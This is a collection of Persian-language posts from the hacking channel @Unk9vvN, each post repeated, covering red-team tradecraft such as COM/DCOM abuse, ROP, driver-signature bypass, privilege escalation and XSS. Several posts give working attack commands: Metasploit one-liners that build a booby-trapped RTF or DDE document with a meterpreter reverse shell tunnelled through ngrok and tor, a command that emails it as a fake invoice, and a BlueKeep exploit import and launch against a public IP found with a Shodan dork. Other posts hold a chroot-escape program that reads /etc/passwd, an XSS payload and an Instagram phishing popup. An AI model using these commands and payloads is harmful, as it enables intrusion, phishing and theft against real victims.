#DotNetToJScript
همیشه یکی از چالش های هکرها برای فرار از Detect شدن این بوده که با استفاده از COM آبجکت های مختلف و ترجیحا جدید بتوانند تطبق Struct که اون COM داره پایلودی رو ساخته و به اجرا در بیاورند, در سال 2017 محققی با نام مستعار enigma0x3 یکی از این سبک استفاده از COM آبجکت ها رو تشریح و سناریو سازی کرد,
نکته جالب این ماجرا اینه که این فرد درک کرده بود که DCOM آبجکتی با نام Outlook.Application که به دلیل امکان ارسال دستورات از راه دور از نوع آبجکت های DCOM دسته بندی میشه, دارای آبجکتی با نام ScriptControl هستش که همین موضوع موجب صدا زدن مفسرهای زبان VBScript و JScriptخواهد شد و با استفاده از JScript توانسته class های زبان NET. پایلودی که بصورت Serialize در آمده رو Deserialize و به اجرا در بیاورد, از این روی میتوان گفت کدهای #C رو میشود بر بستر JScript با استفاده از DCOM آبجکت توضیح داده شده اجرا کرد که همین موضوع منجر به دور زدن مکانیزم هایی میشود که دایره تحت نظر آنها کمتر بر بستر این مدل DCOM آبجکت ها میباشد...
REF
@Unk9vvN
همیشه یکی از چالش های هکرها برای فرار از Detect شدن این بوده که با استفاده از COM آبجکت های مختلف و ترجیحا جدید بتوانند تطبق Struct که اون COM داره پایلودی رو ساخته و به اجرا در بیاورند, در سال 2017 محققی با نام مستعار enigma0x3 یکی از این سبک استفاده از COM آبجکت ها رو تشریح و سناریو سازی کرد,
نکته جالب این ماجرا اینه که این فرد درک کرده بود که DCOM آبجکتی با نام Outlook.Application که به دلیل امکان ارسال دستورات از راه دور از نوع آبجکت های DCOM دسته بندی میشه, دارای آبجکتی با نام ScriptControl هستش که همین موضوع موجب صدا زدن مفسرهای زبان VBScript و JScriptخواهد شد و با استفاده از JScript توانسته class های زبان NET. پایلودی که بصورت Serialize در آمده رو Deserialize و به اجرا در بیاورد, از این روی میتوان گفت کدهای #C رو میشود بر بستر JScript با استفاده از DCOM آبجکت توضیح داده شده اجرا کرد که همین موضوع منجر به دور زدن مکانیزم هایی میشود که دایره تحت نظر آنها کمتر بر بستر این مدل DCOM آبجکت ها میباشد...
REF
@Unk9vvN
#RedTeam_CVE_2017-0199
در سناریو های #RT معمولا آسیب پذیری هایی که در خصوص فایل فرمت ها ارائه شده استفاده میشود,چرا که بسیاری از قربانیان محصولات نرم افزاری خودشون رو بروز نمیکنند, در نتیجه همچنان این دست حملات کارآمدی دارد
root@unk9vvn:~#
در سناریو های #RT معمولا آسیب پذیری هایی که در خصوص فایل فرمت ها ارائه شده استفاده میشود,چرا که بسیاری از قربانیان محصولات نرم افزاری خودشون رو بروز نمیکنند, در نتیجه همچنان این دست حملات کارآمدی دارد
root@unk9vvn:~#
apt-get install -y sendemail tor;service tor start;gnome-terminal --tab -e 'proxychains ngrok tcp 8443';NGROK_PORT=$(FUZ=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE 's/.*public_url":"tcp:\/\/0.tcp.ngrok.io:([^"]*).*/\1/p') && echo "$FUZ");sleep 5;msfconsole -qx "use exploit/windows/fileformat/office_word_hta;set PAYLOAD windows/x64/meterpreter/reverse_https;set LHOST 0.tcp.ngrok.io;set LPORT "$NGROK_PORT";set ReverseListenerBindAddress 127.0.0.1;set ReverseListenerBindPort 8443;set FILENAME product.rtf;set EnableStageEncoding true;exploit -j"
root@unk9vvn:~# mv /root/.msf4/local/product.rtf /root;sendEmail -f support@megacloud.com -t <Email-TARGET> -u "Invoice Attached" -m "Please Check Product" -a product.rtf -s <SMTP-SERVER> -v
@Unk9vvN#Office #DDE_Delivery
در پست قبلی در خصوص یک آسیب پذیری در فایل فرمت های Document Word رو توضیح دادیم, اما در این پست در خصوص یکی دیگر از این فایل فرمت ها که آسیب پذیری ذکر نشده اما فرمول #DDEAUTO میتونه منجر به فراخوانی پایلود یک COM Object بشه از روی C2 هکر و پایلود اجرا بشه, این هم یکی از پلن های #RT ها هستش
# Open terminal
root@unk9vvn:~#
@Unk9vvN
در پست قبلی در خصوص یک آسیب پذیری در فایل فرمت های Document Word رو توضیح دادیم, اما در این پست در خصوص یکی دیگر از این فایل فرمت ها که آسیب پذیری ذکر نشده اما فرمول #DDEAUTO میتونه منجر به فراخوانی پایلود یک COM Object بشه از روی C2 هکر و پایلود اجرا بشه, این هم یکی از پلن های #RT ها هستش
# Open terminal
root@unk9vvn:~#
apt-get install -y tor;service tor start;gnome-terminal --tab -e 'proxychains ngrok tcp 8443';NGROK_PORT=$(FUZ=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE 's/.*public_url":"tcp:\/\/0.tcp.ngrok.io:([^"]*).*/\1/p') && echo "$FUZ");sleep 5;msfconsole -qx "use windows/fileformat/office_dde_delivery;set PAYLOAD windows/x64/meterpreter/reverse_https;set LHOST 0.tcp.ngrok.io;set LPORT "$NGROK_PORT";set ReverseListenerBindAddress 127.0.0.1;set ReverseListenerBindPort 8443;set FILENAME product.rtf;set EnableStageEncoding true;exploit -j"
https://gist.github.com/xillwillx/171c24c8e23512a891910824f506f563#file-cactustorchddeauto-sh@Unk9vvN
#RET2CSU
در سیستم عامل های ۶۴ بیتی دیگه تکنیک RET2Libc پاسخگوی دور زدن مکانیزم های دفاعی سیستم عامل در مقابل اجرا کد نیستند, در نتیجه تکنیک دیگری به نام Ret2CSU جایگزین تکنیک قبلی برای ساخت یک زنجیره Return Oriented Programming استفاده میشود که این تکنیک در بلکهت 2018 آسیا رو نمایی شده است,
اولین نکته این است که در تکنیک Ret2Libc به دلیل قرار گرفتن توابع در پشته ما میتوانستیم عملیات برگشت در کتابخانه سی رو انجام بدیم اما در سیستم های ۶۴ بیتی به دلیل قرار گرفتن اینکه پارامترهای عملکردی بر روی رجیسترها منتقل میشه دیگه مکانیزم Ret2Libc پاسخگوی ما نخواهد بود, نکته دیگه ای که وجود داره نقش Application Binary Interface یا ABI هستش که مسئولیت تماس با پارامترها در Register های ۶۴ بیتی رو دارا هستش, و اینکه بستری برای کنترل و فراخوان CSU خواهد بود.
@Unk9vvN
در سیستم عامل های ۶۴ بیتی دیگه تکنیک RET2Libc پاسخگوی دور زدن مکانیزم های دفاعی سیستم عامل در مقابل اجرا کد نیستند, در نتیجه تکنیک دیگری به نام Ret2CSU جایگزین تکنیک قبلی برای ساخت یک زنجیره Return Oriented Programming استفاده میشود که این تکنیک در بلکهت 2018 آسیا رو نمایی شده است,
اولین نکته این است که در تکنیک Ret2Libc به دلیل قرار گرفتن توابع در پشته ما میتوانستیم عملیات برگشت در کتابخانه سی رو انجام بدیم اما در سیستم های ۶۴ بیتی به دلیل قرار گرفتن اینکه پارامترهای عملکردی بر روی رجیسترها منتقل میشه دیگه مکانیزم Ret2Libc پاسخگوی ما نخواهد بود, نکته دیگه ای که وجود داره نقش Application Binary Interface یا ABI هستش که مسئولیت تماس با پارامترها در Register های ۶۴ بیتی رو دارا هستش, و اینکه بستری برای کنترل و فراخوان CSU خواهد بود.
@Unk9vvN
#Memory_Segmentation
بد نیست در خصوص ساختار و چگونگی مپ شدن کدهای سطح بالا رو بر روی حافظه دیده و یک تصویر درستی داشته باشیم چرا که در بحث دور زدن مکانیزم های دفاعی حتما شناخت این موارد بسیار مهم خواهد بود,
بطور مثال زمانی که ما بخواهیم از تکنیک Stack_Pivoting استفاده کنیم برای دور زدن مکانیزم هایی مثل SMEP/NX حتما میبایست مکانیزم عملکرد سیستم عامل هارا مخصوصا قسمت هایی مانند LDT و GDT رو درک کرده باشیم چرا که ساخت یک استک و تنظیم کردن Stack Selector یا SS مقوله حیاتی این سبک از بایپس ها خواهد بود...
http://hypervsir.blogspot.com/2015/01/a-software-solution-to-defend-against.html
@Unk9vvN
بد نیست در خصوص ساختار و چگونگی مپ شدن کدهای سطح بالا رو بر روی حافظه دیده و یک تصویر درستی داشته باشیم چرا که در بحث دور زدن مکانیزم های دفاعی حتما شناخت این موارد بسیار مهم خواهد بود,
بطور مثال زمانی که ما بخواهیم از تکنیک Stack_Pivoting استفاده کنیم برای دور زدن مکانیزم هایی مثل SMEP/NX حتما میبایست مکانیزم عملکرد سیستم عامل هارا مخصوصا قسمت هایی مانند LDT و GDT رو درک کرده باشیم چرا که ساخت یک استک و تنظیم کردن Stack Selector یا SS مقوله حیاتی این سبک از بایپس ها خواهد بود...
http://hypervsir.blogspot.com/2015/01/a-software-solution-to-defend-against.html
@Unk9vvN
#Bypass #Code_Signing #Certificate
چالش همیشگی معتبر بودن امضاء یک درایور مهم بوده و میبایست در خصوص روش های دور زدن آن تحقیقات وسیعی نمود,
از این رو, یکی از روش های همیشگی دور زدن مکانیزم Driver Signature Enforcement استفاده از تکنیک پیوستن به دیباگر کرنل یا پیکربندی در فهرست گزینه های پیشرفته Boot هستش,
همونطور که در تصویر مشاهده میکنید اگر درایور خودمون رو به برنامه بدیم, برنامه اون رو Load و سپس dq KernelPayload میکنه یعنی در حالت دیباگ قرار میده که در این حالت درایور سرویس خودش رو نصب کرده و با استفاده از تعریف Blink و Flink پراسس بصورتی که اشاره به خود کنند یک حلقه درونی پیاده سازی کرده و بدین ترتیب سرویس Rootkit هکر در جدول EPROCESS دیده نخواهد شد و قربانی متوجه حضور یک Service مخرب نمیشود
البته ناگفته نمونه که درایور مورد استفاده میبایست یک ioctl دارا باشه برای تعریف یک Function Pointer برای تنظیم مکانیزم SMEP یا Supervisor Mode Execution Prevention در حالت Disable...
https://twitter.com/TheWack0lian/status/779397840762245124
@Unk9vvN
چالش همیشگی معتبر بودن امضاء یک درایور مهم بوده و میبایست در خصوص روش های دور زدن آن تحقیقات وسیعی نمود,
از این رو, یکی از روش های همیشگی دور زدن مکانیزم Driver Signature Enforcement استفاده از تکنیک پیوستن به دیباگر کرنل یا پیکربندی در فهرست گزینه های پیشرفته Boot هستش,
همونطور که در تصویر مشاهده میکنید اگر درایور خودمون رو به برنامه بدیم, برنامه اون رو Load و سپس dq KernelPayload میکنه یعنی در حالت دیباگ قرار میده که در این حالت درایور سرویس خودش رو نصب کرده و با استفاده از تعریف Blink و Flink پراسس بصورتی که اشاره به خود کنند یک حلقه درونی پیاده سازی کرده و بدین ترتیب سرویس Rootkit هکر در جدول EPROCESS دیده نخواهد شد و قربانی متوجه حضور یک Service مخرب نمیشود
البته ناگفته نمونه که درایور مورد استفاده میبایست یک ioctl دارا باشه برای تعریف یک Function Pointer برای تنظیم مکانیزم SMEP یا Supervisor Mode Execution Prevention در حالت Disable...
https://twitter.com/TheWack0lian/status/779397840762245124
@Unk9vvN
PE #FileFormat
تا به امروز روش های زیادی در خصوص ویرایش یک فایل فرمت PE داده شده برای دور زدن مکانیزم های شناسایی کننده شلکد ,
اما نکته ای که امروزه بسیار مورد توجه است اینه که فهم دقیق یک فایل فرمت به ما این امکان رو میده که در مصاف با مکانیزم های دفاعی راه حل های متعددی رو پیاده سازی کنیم,
مثلا استفاده از Import Address Table ها در خصوص ساخت زنجیره برگشت به کتابخانه و تنظیم آنها برای خاموش کردن مکانیزم ها بر بستر فایل فرمت خود, نمونه این توابع میتوان به VirtualProtect اشاره کرد , که امروزه بیش از دیگر API ها استفاده میشود...
https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
@Unk9vvN
تا به امروز روش های زیادی در خصوص ویرایش یک فایل فرمت PE داده شده برای دور زدن مکانیزم های شناسایی کننده شلکد ,
اما نکته ای که امروزه بسیار مورد توجه است اینه که فهم دقیق یک فایل فرمت به ما این امکان رو میده که در مصاف با مکانیزم های دفاعی راه حل های متعددی رو پیاده سازی کنیم,
مثلا استفاده از Import Address Table ها در خصوص ساخت زنجیره برگشت به کتابخانه و تنظیم آنها برای خاموش کردن مکانیزم ها بر بستر فایل فرمت خود, نمونه این توابع میتوان به VirtualProtect اشاره کرد , که امروزه بیش از دیگر API ها استفاده میشود...
https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
@Unk9vvN
#Local #Privilege_Escalation
در تصویر پست تمام سناریو ها و روش هایی که در خصوص بالا بردن سطح دسترسی در دو سیستم عامل معروف یعنی ویندوز و لینوکس رو مشاهده میکنید,
گفتنیست یکی از ساده ترین روش ها که در بسیاری از مواقع جواب گویی هکر بوده در سیستم عامل ویندوز تکنیک Process Injection هستش که به واسطه اون یک CreateRemoteThread ساخته شده و از مجوز های پروسس دیگران استفاده میکند,
اما در لینوکس هم تکنیک File Permissions هم میتواند در اکثر مواقع مورد خوبی باشد, تا هکر با استفاده از یک فایل دارای دسترسی بالا خود را به خط فرمان رسانده و بر بستر آن شلکد اجرا کند...
https://attack.mitre.org/tactics/TA0004/
@Unk9vvN
در تصویر پست تمام سناریو ها و روش هایی که در خصوص بالا بردن سطح دسترسی در دو سیستم عامل معروف یعنی ویندوز و لینوکس رو مشاهده میکنید,
گفتنیست یکی از ساده ترین روش ها که در بسیاری از مواقع جواب گویی هکر بوده در سیستم عامل ویندوز تکنیک Process Injection هستش که به واسطه اون یک CreateRemoteThread ساخته شده و از مجوز های پروسس دیگران استفاده میکند,
اما در لینوکس هم تکنیک File Permissions هم میتواند در اکثر مواقع مورد خوبی باشد, تا هکر با استفاده از یک فایل دارای دسترسی بالا خود را به خط فرمان رسانده و بر بستر آن شلکد اجرا کند...
https://attack.mitre.org/tactics/TA0004/
@Unk9vvN
#Obfuscation #Shellcode on Exploit
نمونه ای از روش های مبهم سازی پایلود پاورشلی بر بستر یک آسیب پذیری که بر روی زبان جاوا اسکریپت طراحی شده است,
نکته این تصویر این است که درک کردن آسیب پذیری ها و اکسپلویت نویسی برای آنها فقط لازمه یک نفوذ موفق نیست بلکه در خصوص تکنیک های #RedTeam ها هم میبایست یک هکر آگاه باشه تا بتونه Detection ها Logger ها و دیگر مکانیزم های نظارتی رو به اشتباه محاسباتی دچار کنه...
البته مدل های ٍمبهم سازی میتونه بر بستر زبان اسمبلی هم باشه مانند استفاده از الگوریتم های پالیمورفیسم, متامورفیسم , میمیمورفیسم و غیره.....
https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-sean_taylor-binary_obfuscation.pdf
@Unk9vvN
نمونه ای از روش های مبهم سازی پایلود پاورشلی بر بستر یک آسیب پذیری که بر روی زبان جاوا اسکریپت طراحی شده است,
نکته این تصویر این است که درک کردن آسیب پذیری ها و اکسپلویت نویسی برای آنها فقط لازمه یک نفوذ موفق نیست بلکه در خصوص تکنیک های #RedTeam ها هم میبایست یک هکر آگاه باشه تا بتونه Detection ها Logger ها و دیگر مکانیزم های نظارتی رو به اشتباه محاسباتی دچار کنه...
البته مدل های ٍمبهم سازی میتونه بر بستر زبان اسمبلی هم باشه مانند استفاده از الگوریتم های پالیمورفیسم, متامورفیسم , میمیمورفیسم و غیره.....
https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-sean_taylor-binary_obfuscation.pdf
@Unk9vvN
#BadRabbit #Execution Flow
در این تصویر سناریو اجرایی یک باج افزار رو مشاهده میکنید, نکاتی جالب در خصوص چرخه اجرای باج افزار به چشم میخورد,
برای مثال هکر از تکنیک Drive By Download برای Stage اول خودش, که یک Dropper است که به همین واسطه سرویسی ساخته و بعد از پروسه انجام Privilege, دایرکتوری های مربوطه رو Encrypt شده و بدین ترتیب سرویس مربوطه کنسول DECRYPT رو ساخته و منتظر پرداخت Bitcoin میشود, و درایور decrypt رو از طریقه سرویس SMB انجام خواهد داد,
البته شرکت EndGame در این وبلاگ خودش بیشتر در خصوص پلتفرم خودش توضیح داده که چطور مقابله میکنه با این سبک از باج افزارها...
https://www.endgame.com/blog/technical-blog/falling-trap-how-endgame-platform-stops-badrabbit
@Unk9vvN
در این تصویر سناریو اجرایی یک باج افزار رو مشاهده میکنید, نکاتی جالب در خصوص چرخه اجرای باج افزار به چشم میخورد,
برای مثال هکر از تکنیک Drive By Download برای Stage اول خودش, که یک Dropper است که به همین واسطه سرویسی ساخته و بعد از پروسه انجام Privilege, دایرکتوری های مربوطه رو Encrypt شده و بدین ترتیب سرویس مربوطه کنسول DECRYPT رو ساخته و منتظر پرداخت Bitcoin میشود, و درایور decrypt رو از طریقه سرویس SMB انجام خواهد داد,
البته شرکت EndGame در این وبلاگ خودش بیشتر در خصوص پلتفرم خودش توضیح داده که چطور مقابله میکنه با این سبک از باج افزارها...
https://www.endgame.com/blog/technical-blog/falling-trap-how-endgame-platform-stops-badrabbit
@Unk9vvN
#BlueKeep RDP
به تازگی اکسپلویت BlueKeep به زبان Ruby ترجمه و در Exploit-DB قرار گرفته که ما نحوه Import اون در Metasploit و اجرا کردنش بر روی قربانیان خارجی آسیب پذیر رو به نمایش میگزاریم, ورژن های آسیب پذیر سیستم عامل ویندوز هم به شرح زیر است,
Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
# Shodan Dork
https://www.shodan.io/search?query=port%3A%223389%22+os%3A%22Windows+7+or+8%22
# Import Exploit
root@unk9vvn:~#
root@unk9vvn:~#
به تازگی اکسپلویت BlueKeep به زبان Ruby ترجمه و در Exploit-DB قرار گرفته که ما نحوه Import اون در Metasploit و اجرا کردنش بر روی قربانیان خارجی آسیب پذیر رو به نمایش میگزاریم, ورژن های آسیب پذیر سیستم عامل ویندوز هم به شرح زیر است,
Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
# Shodan Dork
https://www.shodan.io/search?query=port%3A%223389%22+os%3A%22Windows+7+or+8%22
# Import Exploit
root@unk9vvn:~#
mkdir /usr/share/metasploit-framework/modules/exploits/windows/rdp;chmod 755 /usr/share/metasploit-framework/modules/exploits/windows/rdp;wget https://www.exploit-db.com/raw/47416 -O /usr/share/metasploit-framework/modules/exploits/windows/rdp/bluekeep.rb;chmod 755 /usr/share/metasploit-framework/modules/exploits/windows/rdp/bluekeep.rb
# Execute Exploitroot@unk9vvn:~#
msfconsole -qx "reload_all;use windows/rdp/bluekeep;set PAYLOAD windows/x64/meterpreter/reverse_tcp;set LHOST example.ddns.net;set LPORT 4141;set RHOSTS 139.9.75.181;set EnableContextEncoding true;run -j"
@Unk9vvN#Deserialization #RCE
توابع Serialize در زبان هایی مانند PHP و JAVA و غیره از سال 2017 به اینور بستری برای رخداد حملات Code Execution در سمت Server شدند, و این مدل از آسیب پذیری ها همچنان پتانسیل بسیار بالایی در رخداد حملات سطح بالا رو دارا هستند,
در نتیجه در پلتفرم هایی که نیاز به انتقال مثلا یک ساختار به دیتابیس هستند, یا نیاز داریم تا در API تعریف شده یک برنامه, Object رو انتقال بدیم از توابع Serialize و Unserialize استفاده میکنیم, اما آیا هکرها قادر به تزریق مثلا یک کد به پارامتر های ساختارهای Serialize شده هستند؟ سابقه این نوع حملات نشون داده بله هستند...
https://www.ambionics.io/blog/drupal8-rce
https://www.exploit-db.com/exploits/46510
@Unk9vvN
توابع Serialize در زبان هایی مانند PHP و JAVA و غیره از سال 2017 به اینور بستری برای رخداد حملات Code Execution در سمت Server شدند, و این مدل از آسیب پذیری ها همچنان پتانسیل بسیار بالایی در رخداد حملات سطح بالا رو دارا هستند,
در نتیجه در پلتفرم هایی که نیاز به انتقال مثلا یک ساختار به دیتابیس هستند, یا نیاز داریم تا در API تعریف شده یک برنامه, Object رو انتقال بدیم از توابع Serialize و Unserialize استفاده میکنیم, اما آیا هکرها قادر به تزریق مثلا یک کد به پارامتر های ساختارهای Serialize شده هستند؟ سابقه این نوع حملات نشون داده بله هستند...
https://www.ambionics.io/blog/drupal8-rce
https://www.exploit-db.com/exploits/46510
@Unk9vvN
#XSS_Payload #Advanced
بحث پایلودهای پیشرفته در آسیب پذیری Cross Site Scripting میتوان گفت یکی از اساسی ترین و مهمترین مبحث این آسیب پذیری هستش, چرا که در خصوص شناسایی و Research آسیب پذیری یک روال معمولی همیشه برقرار است اما در موضوع Payload Advanced ها اینطور نیست و بسیار سناریو های گوناگونی میتوان پیاده کرد,
تیم unk9vvn یک پروژه با نام #BeEFer رو از یکی دو ماه قبل آغاز نمود که تمرکزش بر روی همین موضوع Payload Advanced ها هستش, و سناریو های بسیاری درون این محصول نوشته شده, نمونه این سناریو ها بحث Popup Phishing است که در تصویر مشاهده میکند,
این Popup احراز هویت شبکه اینستاگرام بصورت هوشمند بوده و اگر قربانی رمز صحیح وارد نکند باز برای آن تکرار خواهد شد, البته این تصویر برای مثال بوده و نیت نشان دادن اهمیت تکنیک های Payload Advanced هستش...
https://github.com/s0md3v/AwesomeXSS
@Unk9vvN
بحث پایلودهای پیشرفته در آسیب پذیری Cross Site Scripting میتوان گفت یکی از اساسی ترین و مهمترین مبحث این آسیب پذیری هستش, چرا که در خصوص شناسایی و Research آسیب پذیری یک روال معمولی همیشه برقرار است اما در موضوع Payload Advanced ها اینطور نیست و بسیار سناریو های گوناگونی میتوان پیاده کرد,
تیم unk9vvn یک پروژه با نام #BeEFer رو از یکی دو ماه قبل آغاز نمود که تمرکزش بر روی همین موضوع Payload Advanced ها هستش, و سناریو های بسیاری درون این محصول نوشته شده, نمونه این سناریو ها بحث Popup Phishing است که در تصویر مشاهده میکند,
این Popup احراز هویت شبکه اینستاگرام بصورت هوشمند بوده و اگر قربانی رمز صحیح وارد نکند باز برای آن تکرار خواهد شد, البته این تصویر برای مثال بوده و نیت نشان دادن اهمیت تکنیک های Payload Advanced هستش...
https://github.com/s0md3v/AwesomeXSS
@Unk9vvN
#Privilege Linux
یکی از راهکار ها استفاده از توابع سیستمی مانند chroot هستش تا به واسطه اون یک دایرکتوری رو پرمیشن داده و به واسطه همین پرمیشن تابه execl رو در return تابع main برگشت داده و خط فرمان /bin/sh رو با پرمیشن بالا اجرا و فایل های حساس سرور رو read کنیم, یک نکته دیگه برای انتقال فایل از پروتکل ssh استفاده میکنیم,
root@unk9vvn:~#
root@unk9vvn:~#
root@unk9vvn:~#
user@zeus:~$
@Unk9vvN
یکی از راهکار ها استفاده از توابع سیستمی مانند chroot هستش تا به واسطه اون یک دایرکتوری رو پرمیشن داده و به واسطه همین پرمیشن تابه execl رو در return تابع main برگشت داده و خط فرمان /bin/sh رو با پرمیشن بالا اجرا و فایل های حساس سرور رو read کنیم, یک نکته دیگه برای انتقال فایل از پروتکل ssh استفاده میکنیم,
root@unk9vvn:~#
nano escape.c
# Added#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
int main() {
int dir_fd, x;
setuid(0);
mkdir(".42", 0755);
dir_fd = open(".", O_RDONLY);
chroot(".42");
fchdir(dir_fd);
close(dir_fd);
for(x = 0; x < 1000; x++) chdir("..");
chroot(".");
return execl("/bin/sh", "-i", NULL);
}
# Ctrl+x -> y -> Enterroot@unk9vvn:~#
gcc escape.c -o escape;ssh user@192.168.131.170 "cat> escape" < escape
user@192.168.131.170's password: <PASS>root@unk9vvn:~#
ssh user@192.168.131.170
user@192.168.131.170's password: <PASS>user@zeus:~$
./escape
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash@Unk9vvN
#Exploitation #Cheatsheet
در بحث تکنیک های طراحی Exploit, یک منظومه ای از دانش ها مورد نیاز است, که ملکه ذهن شخص باشد, در نتیجه درک رابطه بین زبان ها از سطوح بالا تا پایین بسیار الزامیست, چرا که رخداد آسیب پذیری بر بستر زبان های سطح بالاتر از زبان ماشین مانند C/C++ رخ میدهد اما ردیابی آسیب پذیری و طراحی تکنیک های Bypass بر بستر لایه زیرین یعنی Assembly طراحی میشود, در نتیجه پروسه ذکر شده بسیار مورد نیاز است...
همچنین زبان های Interpreter هم نقش کلیدی در بحث طراحی اکسپلویت ایفای نقش میکنند چرا که مثلا اگر بر بستر فایل فرمت SWF قرار بر اکسپلویت نویسی باشد طبیعا میبایست بر بستر ActionScript باشد, همچنین طراحی اکسپلویت برای مرورگرها که اون هم بر بستر JavaScript و VBScript خواهد بود, پس پروسه طراحی اکسپلویت صرفاء به باگ گیری بر بستر زبان هایی مانند C/C++ نخواهد بود...
https://github.com/FabioBaroni/awesome-exploit-development
@Unk9vvN
در بحث تکنیک های طراحی Exploit, یک منظومه ای از دانش ها مورد نیاز است, که ملکه ذهن شخص باشد, در نتیجه درک رابطه بین زبان ها از سطوح بالا تا پایین بسیار الزامیست, چرا که رخداد آسیب پذیری بر بستر زبان های سطح بالاتر از زبان ماشین مانند C/C++ رخ میدهد اما ردیابی آسیب پذیری و طراحی تکنیک های Bypass بر بستر لایه زیرین یعنی Assembly طراحی میشود, در نتیجه پروسه ذکر شده بسیار مورد نیاز است...
همچنین زبان های Interpreter هم نقش کلیدی در بحث طراحی اکسپلویت ایفای نقش میکنند چرا که مثلا اگر بر بستر فایل فرمت SWF قرار بر اکسپلویت نویسی باشد طبیعا میبایست بر بستر ActionScript باشد, همچنین طراحی اکسپلویت برای مرورگرها که اون هم بر بستر JavaScript و VBScript خواهد بود, پس پروسه طراحی اکسپلویت صرفاء به باگ گیری بر بستر زبان هایی مانند C/C++ نخواهد بود...
https://github.com/FabioBaroni/awesome-exploit-development
@Unk9vvN
#URLs Anchor Text Spoofing
اخیرا فردی با استفاده از Unicode Character منحصر به فرد Right to Left Override که با عدد U+202E شناخته میشه تونسته بر بستر برخی سایت های معروف مانند فیسبوک و جیمیل , اینستاگرام و واتس اپ این تکنیک رو پیاده سازی کنه,
یک نکته ای که میبایست بگم اینه که این URL Spoofing بر بستر Location صفحه نبوده و در URL که هکر بصورت Link در پستی منتشر میکنه رخ میده, اگر به تصویر پست نگاه کنید هکر در تگ a و پارامتر href با استفاده از
تکنیک جالبی هستش که در برخی جاها موجب بایپس مکانیزم های دفاع هم میشه...
https://blog.rakeshmane.com/2017/11/urls-anchor-text-spoofing.html
@Unk9vvN
اخیرا فردی با استفاده از Unicode Character منحصر به فرد Right to Left Override که با عدد U+202E شناخته میشه تونسته بر بستر برخی سایت های معروف مانند فیسبوک و جیمیل , اینستاگرام و واتس اپ این تکنیک رو پیاده سازی کنه,
یک نکته ای که میبایست بگم اینه که این URL Spoofing بر بستر Location صفحه نبوده و در URL که هکر بصورت Link در پستی منتشر میکنه رخ میده, اگر به تصویر پست نگاه کنید هکر در تگ a و پارامتر href با استفاده از

 که معادل html اینکد کاراکتر RTLO هست استفاده کرده و به واسطه همین استفاده پارامتر های آخری که استفاده کرده در لینک خودش به عنوان URL اصلی لحاظ و دیده شده...تکنیک جالبی هستش که در برخی جاها موجب بایپس مکانیزم های دفاع هم میشه...
https://blog.rakeshmane.com/2017/11/urls-anchor-text-spoofing.html
@Unk9vvN
U #XSS in OperaMini for #iOS Browser CVE-2019-13607
آسیب پذیری Cross Site Scripting در مرورگر OperaMini در سیستم عامل iOS که از نوع 0day هستش,پایلود استفاده شده به شکل زیر هستش:
https://blog.rakeshmane.com/2019/07/u-xss-in-operamini-for-ios-browser-0-day.html
@Unk9vvN
آسیب پذیری Cross Site Scripting در مرورگر OperaMini در سیستم عامل iOS که از نوع 0day هستش,پایلود استفاده شده به شکل زیر هستش:
<a href=http://bounters.team/test_red.php?url=javascript:alert(document.body.innerHTML)>Click Me To See Super Secret</a>
دلیل 0day اعلام کردن این آسیب پذیری اینه که مفسر JavaScript در پارامترهای URL امکان اجرایی داره و همین موضوع نشون میده که اگر بخواد فیکس بشه بسیاری از مبناهای کارکرد مرورگر میبایست تغییر کنه...https://blog.rakeshmane.com/2019/07/u-xss-in-operamini-for-ios-browser-0-day.html
@Unk9vvN
#Double_Submit_Cookie Bypass
مکانیزم Double Submit Cookie گزینه ای برای جلوگیری از حملات CSRF در شرایط مهندسی اجتماعی است, حالا اگر ما بخوایم رمز Nonc یا در برخی فریمورک ها همان فیلد توکن رو دور بزنیم مبایست یک Request با محتوای Null بزنید و در Response مقدار nonc یا Token رو دریافت میکنیم و در Rquest دوم همان مقدار رو لحاظ کرده و به نام پارامتری که تگ hidden قرار داره مقدار دهی کرده و Request رو ارسال میکنیم, به این صورت مکانیزم Double Submit Cookie دور زده خواهد شد.
https://www.owasp.org/images/3/32/David_Johansson-Double_Defeat_of_Double-Submit_Cookie.pdf
@Unk9vvN
مکانیزم Double Submit Cookie گزینه ای برای جلوگیری از حملات CSRF در شرایط مهندسی اجتماعی است, حالا اگر ما بخوایم رمز Nonc یا در برخی فریمورک ها همان فیلد توکن رو دور بزنیم مبایست یک Request با محتوای Null بزنید و در Response مقدار nonc یا Token رو دریافت میکنیم و در Rquest دوم همان مقدار رو لحاظ کرده و به نام پارامتری که تگ hidden قرار داره مقدار دهی کرده و Request رو ارسال میکنیم, به این صورت مکانیزم Double Submit Cookie دور زده خواهد شد.
https://www.owasp.org/images/3/32/David_Johansson-Double_Defeat_of_Double-Submit_Cookie.pdf
@Unk9vvN
#Active_Directory PenTesting
در جریان عملیات های #RedTeam میتوان به تست آسیب پذیری های سرویس AD اشاره کرد, اما روش های متعددی در خصوص تست نفوذ برای آن وجود داره, که من در این پست به یکی از مناسب ترین آنها اشاره خواهم کرد,
در جریان Implementation در پروژه های #AD هکر به نامی که نویسنده Tools هایی مانند Mitmf بوده, یک اسکریپت طراحی کرده که با C&C معروف Empire ادغام شده و یک Recon بسیار خوبی رو بصورت اتوماتیک انجام خواهد داد.
https://github.com/byt3bl33d3r/DeathStar
@Unk9vvN
در جریان عملیات های #RedTeam میتوان به تست آسیب پذیری های سرویس AD اشاره کرد, اما روش های متعددی در خصوص تست نفوذ برای آن وجود داره, که من در این پست به یکی از مناسب ترین آنها اشاره خواهم کرد,
در جریان Implementation در پروژه های #AD هکر به نامی که نویسنده Tools هایی مانند Mitmf بوده, یک اسکریپت طراحی کرده که با C&C معروف Empire ادغام شده و یک Recon بسیار خوبی رو بصورت اتوماتیک انجام خواهد داد.
https://github.com/byt3bl33d3r/DeathStar
@Unk9vvN